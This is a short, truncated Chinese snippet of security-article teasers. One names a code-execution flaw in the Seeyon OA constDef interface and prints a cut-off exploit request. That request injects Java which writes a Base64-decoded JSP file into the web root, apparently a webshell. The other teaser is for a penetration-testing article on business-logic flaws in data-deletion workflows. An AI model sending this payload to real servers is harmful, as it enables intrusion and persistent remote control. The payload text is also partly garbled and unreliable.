秃兔
致远在野constDef接囗存在代码执行漏洞
GET /seeyon/constDefdo?method=newConstDef&constKey=asdasd&constDefine=$demo%20%22;new%20File(%22./webapps/ROOT/1111.jsp%22).write(new%20String(Base64.getDecoder0.decode%22P...
【渗透文库】信息删除场景业务逻辑测试
测试描述：通过抓包工具分析信息删除场景的接口内容及工作流程，逐条实施案例验证是否存在业务逻辑漏洞 测试标签：WEB应用安全测试 业务场景：涉及客户信息修改和金融交易删除的业务场景 测试工...
